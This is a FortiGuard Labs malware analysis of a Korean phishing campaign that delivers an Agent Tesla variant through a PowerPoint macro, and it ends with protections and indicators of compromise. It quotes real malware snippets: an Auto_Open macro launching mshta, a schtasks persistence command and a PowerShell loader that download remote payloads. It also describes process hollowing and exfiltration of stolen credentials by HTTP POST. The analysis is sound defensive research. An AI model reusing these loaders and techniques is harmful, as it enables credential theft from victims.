Phishing Campaign Targeting Korean to Deliver Agent Tesla New Variant

fortinet.com/blog/threat-research/phishing-campaign-targeting-korean-to-deliver-agent-tesla-new-variant

December 10, 2021

FortiGuard Labs Threat Research Report

Affected platforms: Microsoft Windows
Impacted parties: Windows Users
Impact: Collects sensitive information from victims' device
Severity level: Critical

A phishing campaign was recently caught in the wild by Fortinet's FortiGuard Labs, that delivers a malicious Microsoft PowerPoint file. The content of the phishing email, written in Korean, asks recipients to open the attached PowerPoint file to review a purchase order. I researched what this malicious file does once the PowerPoint file is opened and have been able to confirm that it is spreading a new variant of Agent Tesla.

Over the past several years, we have captured and analyzed many Agent Tesla variants. It has been quite active since 2014 when it was first observed. Agent Tesla is a .Net-based malware (developed in C#.Net, VB.Net, C++.Net, etc.) whose core function is to collect sensitive information from a victim's machine, including recording keystrokes and data on the system clipboard, stealing saved software credentials (browsers, mail clients, VPN, FTP, IM, etc.), stealing browser cookies files, and taking screenshots.

In this blog we will look at the phishing email, analyze the malicious macro contained in the attachment, show how the malware is updated and maintains persistence, examine the Agent Tesla payload, and show the ways it exfiltrates stolen data and credentials.

Let's start with how most cyberattacks begin – with a phishing email.

The Phishing Email

Figure 1.1 – Display of the phishing email
The phishing email is written in Korean and its translated content has been included on the right side of the image in Figure 1.1. The attacker attempts to lure the recipient into opening the attached file to confirm a purchase order. Fortinet's FortiMail has identified this phishing email as SPAM and added a tag "[SPAM detected by FortiMail]" to the subject to warn the recipient, as shown in Figure 1.1.

Leverage Malicious Macro in PowerPoint

As you probably guessed, the attached file is fake. There is no slide in the PowerPoint file, but a macro containing an auto-run function method called "Auto_Open()". This function is called once the file is opened in MS PowerPoint.

Here is the VBA code of this method:

```
Sub Auto_Open()


p_ = soraj.bear.GroupName

Shell p_


End Sub
```

“soraj” is the name of a UserForm, “bear” is the name of CheckBox control inside “soraj” form. It calls “Shell” to execute a command read from the “GroupName” property of “bear” CheckBox control.

In this code, “soraj” is the name of a UserForm and “bear” is the name of the CheckBox control inside the “soraj” form. It calls “Shell” to execute a command read from the “GroupName” property of the “bear” CheckBox control.

Figure 2.1 – The value of the property “GroupName” of “bear”
Further, “mshta hxxp[:]//bitly[.]com/gdhamksgdsadj” is the value of the “soraj.bear.GroupName” which is shown in Figure 2, and is the content of a binary profile file (named “o”) of the VBA project.

It consists of “mshta” and a URL, where “mshta” (“mshta.exe”) is a Windows default program that executes HTML application files, including scripts (like VBScript). The URL opened by “mshta” is redirected to another URL, “hxxps[:]//onedayiwillloveyouforever[.]blogspot.com/p/divine111.html”, which contains a piece of code used to write an escaped VBScript code to a current HTML document to be executed by “mshta.exe”.

Figure 2.2 is a screenshot of a proxy tool, allowing you to see the URL redirection and escaped VBScript code in the response packet.

Figure 2.2 – The escaped VBScript code in the response packet
The escaped VBScript code is executed within the current HTML document using “mshat.exe”. I will refer to this kind of VBScript as VBScript-embedded-in-HTML in this analysis. Click here to view the entire un-escaped code of the VBScript-embedded-in-HTML.

VBScript, PowerShell scripts for multiple tasks

The developer uses a wide variety of scripts, including VBScript-embedded-in-HTML, standalone VBScript, and PowerShell, during the process of delivering Agent Tesla to protect it from being easily analyzed.

These scripts are split into many files, and are downloaded at different times. The VBScript-embedded-in-HTML is the entry of the scripts. In the following section I will explain what they can do according to their behaviors.

1. Upgrading – Task Scheduler:

The malware seeks to obtain a new version (if applicable) every two hours to be executed on the victim’s system. To do this the VBScript-embedded-in-HTML performs a command-line command to add a recurring task into Task Scheduler. The code snippet below is used to run “schtasks” command with the “/create” option to create a new scheduled task, as shown in Figure 3.1.

```
args = "/create /sc MINUTE /mo 120 /tn """"update-Yendex """" /F /tr
""""\""""MsHtA""""\""""hxxps://madarbloghogya.blogspot.com/p/divineback222.html""""

Set Somosa = GetObject("new:13709620-C279-11CE-A49E-444553540000")

                                    'schtasks                    'open

Somosa Shellexecute StrReverse("sksathcs"), args, "", StrReverse("nepo"),  0
```

Figure 3.1 – Added scheduled task in Task Scheduler
It executes a VBScript code within a remote HTML file, then downloads the Agent Tesla payload to run on the victim’s system. It also detects and kills any other Agent Tesla process instances already running. This allows it to perform its upgrading function.

2. Persistence – StartMenu Startup:

A standalone VBS file, "%Public%\hulalalMCROSOFT.vbs", extracted from VBScript-embedded-in-HTML downloads another base64-encoded VBS file from "hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1-2" into a local file. Going through the base64-decoded code, it saves the VBS code to a file called "UYA-update.vbs" located under %Public% folder.

This standalone VBS file downloads the Agent Tesla payload and deploys it on the victim's system. As a result, whenever the VBS file is executed it starts Agent Tesla.

To keep Agent Tesla alive on the victim's system, it copies the downloaded standalone VBS file "UYA-update.vbs" into the StartMenu's Startup folder and renames it as "GTQ.vbs". This allows it to start automatically when the system starts. Figure 3.2 displays the Startup folder with the copied "GTQ.vbs".

Figure 3.2 – Standalone VBS file copied in StartMenu Startup folder

3. Perform process-hollowing:

"UYA-update.vbs" continues to craft a piece of PowerShell code within a base64-decoded PE file from a local variable. It is ultimately executed by "PowerShell.exe". The decoded PE file is a .Net program that contains a function named "Run()" belonging to class "ClassLibrary3.Class1". Below is a piece of PowerShell code used to call this function.

```
[System.AppDomain]::CurrentDomain.Load($fuUN).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('1-1enivid/selif/c4ab4d371cd40ce3303b4d33c868122f671fd37c/do8qxn/aygoh/steppins/0.2/ipa!/gro.tekcubtib//:sptth'))
```

The "$fuUN" variable contains the base64-decoded .Net PE file, from which it calls GetType() and GetMethod() to obtain the function "ClassLibrary3.Class1.Run()". Next, it calls the "Run()" function through Invoke() and passes a parameter with a reversed URL. The URL is "hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1-1". Figure 3.3 is the entire code of function "ClassLibrary3.Class1.Run()".

Figure 3.3 – Function of "ClassLibrary3.Class1.Run()"

After successfully calling "ClassLibrary3.Class1.Run()" of the decoded PE, it downloads two files from the hyperlinks: 'hxxp[:]//149.56.200.165/rump/1.txt', which is for another .Net module to perform process-hollowing, and 'hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1-1', which is passed from PowerShell and is where it downloads the Agent Tesla payload from.

The Agent Tesla payload is fileless on the victim's system. It is only kept in the memory of the PowerShell process. The downloaded .Net module has a function named "ClassLibrary1.Class1.Run()" that perform the process-hollowing. It passes the Agent Tesla payload in memory and adds a path of the target process "RegAsm.exe".

"RegAsm.exe" is an official component of Microsoft .Net Framework. The attacker uses it as a target process in which to inject malware to protect itself from being detected.

A number of Windows API functions are called in the .Net module to deploy the Agent Tesla payload into the target process. These are:

- CreateProcess() with CREATE_SUSPENDED flag: This creates a suspended RegAsm.exe process.
- VirtualAllocEx(), NtUnmapViewOfSection(), ReadProcessMemory(), WriteProcessMemory(): These move the Agent Tesla payload to a newly-allocated memory within the suspended RegAsm.exe process.
- SetThreadContext()/Wow64SetThreadContext(), GetThreadContext()/Wow64GetThreadContext(): These modify the RegAsm.exe's registry value and points its EIP register to the entry point of the copied Agent Tesla payload.
- ResumeThread(): This resumes the execution of the RegAsm.exe process from where the EIP points to.

Once completed, the Agent Tesla runs on behalf of RegAsm.exe to steal the victim's information.

Agent Tesla Payload

Agent Tesla provides many features, like Keylogger, obtaining Clipboard data, stealing browser cookies and saved software credentials, as well as capturing screenshots of the victim's device.

Agent Tesla publishes a Setup program that allows the attacker to choose which features to enable. The Tesla Agent Setup program then compiles the Agent Tesla payload file according to those choices.

Agent Tesla starts these tasks in its Main() (stealing credentials), Timer (keylogger, stealing clipboard data, taking screenshots), and Thread (stealing cookies from browsers) functions.

In this variant of Agent Tesla, the attacker has only enabled stealing credentials and cookies. The count of the software clients from which it steals credentials is more than 70, and can be categorized as Web Browsers, Email Clients, IM Clients, VPN/FTP/Downloader/Database Clients, and Windows Credentials.

The list of the affected software clients is listed as below:

Chromium-based Web Browsers:
Epic Privacy, Uran, Chedot, Comodo Dragon, Chromium, Orbitum, Cool Novo, Sputnik, Coowon, Brave, Liebao Browser, Elements Browser, Sleipnir 6, Vivaldi, 360 Browser, Torch Browser, Yandex Browser, QIP Surf, Amigo, Kometa, Citrio, Opera Browser, CentBrowser, 7Star, Coccoc, and Iridium Browser.

Web Browsers:
Chrome, Microsoft Edge, Firefox, Safari, IceCat, Waterfox, Tencent QQBrowser, Flock Browser, SeaMonkey, IceDragon, Falkon, UCBrowser, Cyberfox, K-Meleon, PaleMoon.

VPN clients:
OpenVPN, NordVPN, RealVNC, TightVNC, UltraVNC, Private Internet Access VPN.

FTP clients:
FileZilla, Cftp, WS_FTP, FTP Navigator, FlashFXP, SmartFTP, WinSCP 2, CoreFTP, FTPGetter.

Email clients:
Outlook, Postbox, Thunderbird, Mailbird, eM Client, Claws-mail, Opera Mail, Foxmail, Qualcomm Eudora, IncrediMail, Pocomail, Becky! Internet Mail, The Bat!.

Downloader/IM clients:
DownloadManager, jDownloader, Psi+, Trillian.

Others:
MySQL and Microsoft Credentials.

Figure 4.1 displays the method used for stealing credentials from several clients.

Figure 4.1 – Method used to steal credentials from some software clients

Figure 4.2 – Display of stolen credentials from IceCat browser
Figure 4.2 shows the credentials just stolen from a web browser, "IceCat", where "Browser" is the software client name, "Password" is the saved password, "URL" is the login page, and "UserName" is the saved login user name.

Each credentials of the stolen credentials has an above structure and saved in a global list variable, which later is formatted and sent to the attacker.

Sending the Stolen Data to the Attacker

There are four ways to transport the stolen data to the attacker. These are FTP Data (uploading stolen data in a file to a FTP server provided by the attacker), HTTP Post (sending data as the body of the post to a URL provided by the attacker), SMTP (sending stolen data to the attacker's email address), and Telegram (using the Telegram bot API "sendDocument()" to send files to a specified chat or channel).

The attacker chose HTTP Post for this variant. Once Agent Tesla needs to send data to the attacker, it encrypts the stolen data using a DES algorithm and encodes the result using a base64 algorithm, which is the final data to be sent as the body in the HTTP Post request. The submission URL is "hxxp[:]//69[.]174.99[.]181/webpanel-divine/mawa/7dd66d9f8e1cf61ae198.php", which is a hardcoded string in Agent Tesla.

Figure 5.1 demonstrates Agent Tesla sending stolen data as a value of “p=” in the body of HTTP POST.

Figure 5.1 – Stolen data being sent in the body of HTTP Post
Each item of stolen data before encryption is kept in the structure — “header” + “data”.

The “header” contains the basic information of the victim’s system:

“Packet number” + ”Separator” + “Victim ID” + ”Separator” + “Date and Time” + ”Separator string” + “UserName/ComputerName” + ”Separator”

The “data” contains the stolen information, like credentials and cookies.

Figure 5.2 – Example of a packet structure with packet number “6”

Figure 5.2 shows an example of data with packet number “6”, which contains the basic information (“header” part) and the Stolen Data (“data” part) that is base64-encoded cookies.
“0de264895c1ed90486c73c6eb110af6c2222264a0854b0047b9ead88b718f7d0" is the Separator string that is hardcoded in Agent Tesla. The Victim ID is a MD5 hash value generated from the system’s hardware information.

Agent Tesla provides seven kinds of packets to send data/status to the attacker. Each packet has a packet number to identify the packet. They are “0”, “1”, “2”, “3”, “4”, “5” and “6”.

- Packet “0”: It is always the first packet to tell the attacker that Agent Tesla has started. It only contains the “header” data.
- Packet “1”: It is sent once every 120 seconds. It is like a heartbeat to tell the attacker that Agent Tesla is alive. It only contains the “header” data.
- Packet “2”: It is sent every 60 seconds and only contains the “header” data. Agent Tesla reads the response and checks if it contains “uninstall”. If yes, it uninstalls Agent Tesla from the victim’s system, including deleting all files made by Agent Tesla and removing keys from registry that Agent Tesla created, and exits the process.
- Packet “3”: It sends the victim’s keystrokes (keylogger data) and stolen clipboard data within the “data” part of the post.
- Packet “4”: It sends captured screenshots of the victim’s screen within the “data” part of the post.
- Packet “5”: It sends the credentials stolen from the software clients within the “data” part of the post.
- Packet “6”: It sends cookies files in a ZIP archive that are collected from browsers and included within the “data” part of the post.

Conclusion

In this analysis, I have shown how this phishing campaign began by targeting Korean users.

I then explained how the macro in the PowerPoint is used to execute a piece of VBScript-embedded-in-HTML code. It also leverages a complicated standalone VBS and PowerShell script code to perform multiple tasks, like upgrading, maintaining persistence, and process-hollowing.

I then elaborated on what kind of software clients the Agent Tesla targets and what kind of data it is able to collect from them, as well as how the stolen data is sent to the attacker via the HTTP Post method.

Fortinet Protections

Fortinet customers are already protected from this malware by FortiGuard’s Web Filtering, AntiVirus, FortiEDR, and CDR (content disarm and reconstruction) services, as follows:

The malicious Macro inside the PowerPoint sample can be disarmed by the FortiGuard CDR (content disarm and reconstruction) service.

All relevant URLs have been rated as "**Malicious Websites**" by the FortiGuard Web Filtering service.

The PowerPoint sample attached to the phishing email and the standalone VBS file are detected as "**VBA/Agent.BLY!tr**" and "**VBS/AgentTesla.VTO!tr.dldr**" and are blocked by the FortiGuard AntiVirus service.

FortiEDR detects the downloaded executable file as malicious based on its behavior.

FortiMail protects Fortinet customers by blocking phishing emails and applying FortiGuard's Web Filtering, AntiVirus, and CDR (content disarm and reconstruction) technologies.

In addition to these protections, we suggest that organizations have their end users also go through the FREE NSE training: NSE 1 – Information Security Awareness. It includes a module on Internet threats that is designed to help end users learn how to identify and protect themselves from phishing attacks.

IOCs

URLs Involved in the Campaign:

"hxxps[:]//onedayiwillloveyouforever[.]blogspot[.]com/p/divine111.html"
"hxxps[:]//madarbloghogya[.]blogspot[.]com/p/divineback222.html"
"hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1-2"
"hxxp[:]//149[.]56.200[.]165/rump/1.txt"
"hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq80d/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1-1"
"hxxp[:]//69[.]174.99[.]181/webpanel-divine/mawa/7dd66d9f8e1cf61ae198.php"

Sample SHA-256 Involved in the Campaign:

[새 구매 주문서 .ppa / new purchase order.ppa]
AA121762EB34D32C7D831D7ABCEC34F5A4241AF9E669E5CC43A49A071BD6E894
[UYA-update.vbs / GTQ.vbs]
0BBF16E320FB942E4EA09BB9E953076A4620F59E5FFAEFC3A2FFE8B8C2B3389C

Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.